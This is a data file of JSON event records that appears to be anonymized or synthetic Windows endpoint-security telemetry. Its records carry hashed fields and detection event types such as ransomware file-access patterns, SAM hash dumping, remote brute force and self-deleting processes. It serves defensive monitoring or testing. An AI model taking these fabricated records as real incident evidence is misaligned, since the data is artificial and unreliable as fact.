+{"ContextBaseFileName":"481bc1a027f891f9b","Options":"66717670","ContextThreadId":"270140900130850060","MinorFunction":"0","aip":"89.160.20.128","Information":"3","FileIdentifier":"3983fc13457464a741b39fba5bb2260604ddb049477359f2","event_platform":"Win","ShareAccess":"1","EventOrigin":"1","id":"182d52dbecaca7970cb63c42addda760f512","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewScriptWritten","ContextTimeStamp":"1756143143.835","ConfigStateHash":"8200073020","ContextProcessId":"211820800920708240","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5060417","Entitlements":"66","name":"af0673bdd782d244e9c","OperationFlags":"0","aid":"d6c18cb814c9100d81bedd3b4290407f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config"} +{"FileOperatorSid":"S-72386-31002-81578-35580-81320-88994-11078","ContextBaseFileName":"7592a3326e8f","FileCategory":"2","Size":"70097","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\237ca1ff\\9f8125ec","id":"50b4564705009d4d899b257c4f60806debaf","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OleFileWritten","ContextTimeStamp":"1754452910.026","ConfigStateHash":"9080600092","ContextProcessId":"3609070495594","IrpFlags":"0","AuthenticationId":"10050074","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"52f49e17cbb3258ec","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms"} +{"FileOperatorSid":"S-14916-87933-54904-21020-22768-89969-67859","ContextBaseFileName":"f8d3910f48a","FileCategory":"2","Size":"4008","ContextThreadId":"406830433040004","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\4db87fa6\\901bda80","id":"fa7433e86a344c7c471c159189a5d9e46b61","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1757793265.081","ConfigStateHash":"205997984","ContextProcessId":"3902807870001","IrpFlags":"0","AuthenticationId":"1046050","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"2486640","Entitlements":"16","name":"7233ba49d5aea975e9d","OperationFlags":"0","aid":"4274e60578e437f258cd288fc421c898","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx"} +{"event_simpleName":"PackedExecutableWritten","ConfigStateHash":"50820000","ContextProcessId":"600400303060","aip":"216.160.83.56","FileSubType":"1","SHA256HashData":"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"66","name":"e1363774d0bedd151e540a3f0","EventOrigin":"1","id":"46fbd2ea624c1d37a02f228b5e07a641ba5d","EffectiveTransmissionClass":"3","aid":"827afde25ba0eeda5d204a68ff612048","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll"} +{"FileOperatorSid":"S-67387-98466-95492-13435-71780-89109-76365","ContextBaseFileName":"8bccb383613c62792a","FileCategory":"2","Size":"90700","ContextThreadId":"599818020897405","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\3fcf5e12","id":"e3b7d2a5cd6687e005e8d8440762de1a5cba","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PdfFileWritten","ContextTimeStamp":"1749743187.245","ConfigStateHash":"3000500100","ContextProcessId":"90797090022909","IrpFlags":"0","AuthenticationId":"107430","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"0ae43bcd866d0651b","OperationFlags":"0","aid":"972c7871709024649af8a061337fe15f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf"} +{"FileOperatorSid":"S-75678-67909-19006","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"6","Size":"36724","ModuleCharacteristics":"800","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073","event_platform":"Win","TokenType":"1","ImageCheckSum":"0","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","ImageSubsystem":"2","id":"d5f767539bfcb8d8aede98bf95736a049e78","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PeFileWritten","ContextTimeStamp":"1752518074.515","UserName":"a7d64dd9c23669","ConfigStateHash":"90089570","IsTransactedFile":"0","ContextProcessId":"3097482600003","IrpFlags":"0","ImageEntryPoint":"4040","SHA256HashData":"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0","AuthenticationId":"830","ContextImageFileName":"\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DllCharacteristics":"0","IsOnRemovableDisk":"0","ImageTimeStamp":"2526530060","Entitlements":"16","name":"5f323af958b5a344","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe"} +{"event_simpleName":"PeVersionInfo","ConfigStateHash":"30820000","aip":"89.160.20.112","SHA256HashData":"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78","ConfigBuild":"2c8b.4.ae3729d.e6","VersionInfo":"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937","CompanyName":"48fd8e96569f1cb4","FixedFileVersion":"81.2.69.142","event_platform":"Win","OriginalFilename":"71f2cbc28fc61e5b304e","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe","FileVersion":"81.2.69.192","Entitlements":"16","name":"510aa45e1032311","EventOrigin":"45","id":"51fdaf250bbe8ba7a3d2f76e5160dbcf2719","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","LanguageId":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"266500049070090","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"PrivilegedProcessHandleFromUnsignedModule","ContextTimeStamp":"1751718895.992","ConfigStateHash":"3440491101","ContextProcessId":"8080063970217","SHA256HashData":"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5","ExtendedKeyUsages":"1","FileSigningTime":"1601400887.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"3542590006570","DesiredAccess":"5900","ImageFileName":"\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe","Entitlements":"86","name":"891d960d630f07080d2bbd00503c6ca04d9007b20af","aid":"6b6c287c6e8ce2041ce47a740e621689","SignInfoFlags":"932000","Object1Type":"81030550010000800400","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} +{"event_simpleName":"ProcessExecOnPackedExecutable","ConfigStateHash":"550603001","ContextProcessId":"2492243565020","aip":"89.160.20.112","FileSubType":"4","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"1080047380010","Entitlements":"96","name":"deb18e9d761c09c713b0634dc553304","EventOrigin":"1","id":"17ef479f49727073c1afd6d8d3ede95a561e","EffectiveTransmissionClass":"3","aid":"2aff58e38d0a0bf09e91cfee7bcb819e","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ProcessExecOnSMBFile","UserName":"601f56394305","ConfigStateHash":"3030480009","ContextProcessId":"2002000091665","aip":"89.160.20.112","LogonDomain":"6e","AuthenticationId":"30409004030","UserPrincipal":"testuser@test.com","UserSid":"S-70019-66419-130-71535-26067-98292-95578","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PatternId":"459","ClientComputerName":"1a241b813c0288","Entitlements":"36","name":"8f744680ad930347c854bf","EventOrigin":"1","id":"0b8735c9a332451c9040cce79b716849ed11","EffectiveTransmissionClass":"3","aid":"b956f48020b41a099bfc062444b8ea38","RemoteAddressIP4":"81.2.69.144","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ProcessCreateFlags":"4","IntegrityLevel":"90902","ParentProcessId":"3000051703140","SourceProcessId":"8000051703140","aip":"81.2.69.142","SHA1HashData":"9692067083780606753097782045800757094700","UserSid":"S-62374-88856-1334","event_platform":"Win","TokenType":"1","ProcessEndTime":"","AuthenticodeHashData":"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4","ParentBaseFileName":"bce7ccba7d55464cc50","EventOrigin":"1","ImageSubsystem":"2","id":"36f0bb29be278fc8322806730ffa12e53207","EffectiveTransmissionClass":"3","SessionId":"0","Tags":"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2","timestamp":"1743508799999","event_simpleName":"ProcessRollup2","RawProcessId":"10603","ConfigStateHash":"710307050","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331","ProcessSxsFlags":"26","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","WindowFlags":"274","CommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5","ParentAuthenticationId":"830","TargetProcessId":"8200110794047","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","SourceThreadId":"400901163020000","Entitlements":"46","name":"f9ba95e9061aae4be","ProcessStartTime":"1745988595.443","ProcessParameterFlags":"41103","aid":"40b756af7c1d76ef66cb380d94090915","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ProcessSelfDeleted","ContextTimeStamp":"1748026781.961","ConfigStateHash":"5080600092","ContextProcessId":"8008070284808","SourceProcessId":"8020239020790","aip":"81.2.69.144","SHA256HashData":"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"5100718000400","ImageFileName":"\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe","Entitlements":"16","name":"1a4daccccece9ef5ba96","EventOrigin":"1","id":"37ea1966fb73e596eaceeeda74969e0cf6fe","EffectiveTransmissionClass":"2","aid":"4a13114d95ed726004929f3de3863e97","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"RansomwareFileAccessPattern","ConfigStateHash":"7800020060","ContextProcessId":"1005300580270","SourceFileName":"\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf","aip":"89.160.20.112","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","PatternId":"684","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","Entitlements":"36","name":"678e528c681bbe14db4667945d920","EventOrigin":"1","ClientId":"81","id":"791f3434f4eb1f2494635bfa6c51a2855d12","EffectiveTransmissionClass":"3","aid":"ce205ce972e1ec0b34c552d96f46397a","Tags":"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql"} +{"Options":"90328446","ContextThreadId":"344002022970675","MinorFunction":"0","aip":"89.160.20.112","BoundingLimitCount":"1","Information":"1","FileIdentifier":"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612","event_platform":"Win","ShareAccess":"7","EventOrigin":"1","id":"13e038874f0490733a5191031434b8657382","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"RansomwareOpenFile","ContextTimeStamp":"1751029020.082","ConfigStateHash":"9250777000","ContextProcessId":"7701685113510","IrpFlags":"2500","ConfigBuild":"2c8b.4.bab7095.e6","MajorFunction":"0","DesiredAccess":"5750008","BoundingLimitDuration":"5486640","Entitlements":"26","name":"4c8f7117e5d227bf9ddc","OperationFlags":"0","aid":"ea08505420aa828a0a52a6eed3c8a196","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"} +{"ContextThreadId":"98420079085202","aip":"89.160.20.112","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a","RegClassificationFlags":"454","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"2e723341d059eefec4c8ff3c9062764c68e3","EffectiveTransmissionClass":"3","RegStringValue":"1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1","timestamp":"1743508799999","event_simpleName":"RegGenericValueUpdate","ContextTimeStamp":"1761698586.458","ConfigStateHash":"3440491101","ContextProcessId":"2090006508607","RegType":"7","RegClassificationIndex":"430","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"ee0bc2006c367f53b607da1122e","RegClassification":"806","Entitlements":"66","name":"0e92d5a77de501c1f1c9064","aid":"52cf03e6cbd930e0081ab561b4366e03","cid":"4092825518eaf67377a6e4492ae44577"} +{"TemplateInstanceId":"10229","aip":"81.2.69.142","RegClassificationFlags":"1","RegObjectName":"\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"2","event_platform":"Win","PatternId":"24871","EventOrigin":"1","id":"46ae86d862c2856f051da60792378c9a659e","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"RegistryOperationDetectInfo","ConfigStateHash":"6000088020","TemplateDisposition":"40","ContextProcessId":"209450604006","RegClassificationIndex":"3","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"d4ae4138ea91","CommandLine":"54d\\9134161b\\b169fe25\\d528e266.exe\"","RegClassification":"40","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe","Entitlements":"86","name":"ac9954e67836781b8f5b89ec31d8d","aid":"8b6270fbf7dd1d35cb564438ccd92475","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"700420809200030","aip":"81.2.69.192","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"RemoteBruteForceDetectInfo","UserName":"","ConfigStateHash":"6870020050","ContextProcessId":"25700434000","LogonType":"3","aip":"81.2.69.144","LogonDomain":"","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"82\\340d600\\4a6a0a4b\\4cdbc.exe","TotalCount":"4051","PatternId":"200","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe","Entitlements":"66","name":"35b635ba0a924203f13f0a9f8f7d","EventOrigin":"1","id":"2e41e2c0447e07249a69dbdc70a72aec40d4","EffectiveTransmissionClass":"3","aid":"a72936ae0acff156c05af8238b6a10eb","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"VolumeSessionUUID":"c8838ad8-1da8-43ae-8c85-3c2309eab164","ContextThreadId":"300005906805","aip":"81.2.69.192","VolumeMountPoint":"\\e2\\cf8397ea","VolumeDriveLetter":"4e","event_platform":"Win","VolumeDeviceObjectFlags":"0","VolumeFileSystemDevice":"\\ddc","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\6b634d3d\\7a5851b","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","VolumeDeviceCharacteristics":"100402","id":"5762ba1aab05fd80cadfb13f146bc3ce868c","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RemovableMediaVolumeMounted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1751260262.872","VolumeSectorSize":"940","ConfigStateHash":"8090285900","ContextProcessId":"655070024024","VolumeRealDeviceName":"\\6ba0bd\\257d4e13","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"3","IsOnRemovableDisk":"1","Entitlements":"96","name":"b47570143699a945cde3e5764a9843","aid":"6d58dee7855f7a94dc887ec52805de46","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-49065-57943-32307","ContextBaseFileName":"6866e9cdd4c02","FileCategory":"2","Size":"507310","ContextThreadId":"1006000509974","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\dc08d203\\6d4a9f57","id":"a6c319e36889013fd1a9cb1e28db73a2d47b","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RtfFileWritten","ContextTimeStamp":"1756008851.353","UserName":"352ad1966","ConfigStateHash":"30820000","ContextProcessId":"600400303060","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"8486640","Entitlements":"86","name":"e5968210c929a23b0","OperationFlags":"0","aid":"827afde25ba0eeda5d204a68ff612048","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf"} +{"KeyObject":"70075630231265270000","ContextThreadId":"40890360000294","aip":"81.2.69.192","PublicKeys":"0","RegPostObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5","RegKeyName":"","event_platform":"Win","EventOrigin":"1","id":"4cd0f3ad236f3d16670462b9d7b5bb5c129a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"SAMHashDumpFromUnsignedModule","ContextTimeStamp":"1757470178.153","ConfigStateHash":"770065302","ContextProcessId":"9083291189505","RegRootObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771","SHA256HashData":"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe","ExtendedKeyUsages":"1","RegCreateDisposition":"2","FileSigningTime":"1653525170.000","ConfigBuild":"2c8b.4.ae3729d.e6","DesiredAccess":"106086","ImageFileName":"\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe","Entitlements":"66","name":"cece108ee2dfd89f1ac8e4648ab61ed","RegCreateOptions":"0","aid":"1085124e43b788dc1142faa8282f3160","SignInfoFlags":"107067","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} +{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4004620865900","id":"6df4383ea32ec03f3e4d828c8771350c6861","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskDeleted","ContextTimeStamp":"1753865664.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"60255","ContextProcessId":"6804094900076","RpcClientThreadId":"724002090409000","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"bd3d6bea\\9af0ff\\29eab3a3","RpcOpNum":"30","Entitlements":"66","name":"4996adce55e68cf01c05c7","aid":"4b4df0f0e24c600fcc98e7444c1af658","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"81.2.69.192","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"3887070022276","id":"43b952c0225cd04c3a42b9e4b7264eecca9d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskModified","ContextTimeStamp":"1747937437.152","UserName":"057bcb1d4","ConfigStateHash":"9080600092","InterfaceVersion":"80255","ContextProcessId":"9000002203869","RpcClientThreadId":"799160078000747","TaskXml":"4a199d96.com/windows/2004/02/mit/task\">\r\n \r\n FSSB0930$\r\n \\c7bac469\\d598026\\1f6f4b17\\7e6a0826","TaskAuthor":"057bcb1d4","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\d598026\\1f6f4b17\\4e7075fa","RpcOpNum":"1","Entitlements":"26","name":"569b2099134ca0f589a09d0","TaskExecArguments":"/650a61d7","aid":"096a526846b73e64ffebbc72ded8f018","TaskExecCommand":"fa692415fa9d","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4950486027003","id":"c7674af79959a3dacc5f7ca39360a5e76431","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskRegistered","ContextTimeStamp":"1755302168.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"50255","ContextProcessId":"6804094900076","RpcClientThreadId":"900200906000878","TaskXml":"3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe\r\n /checkin\r\n \r\n 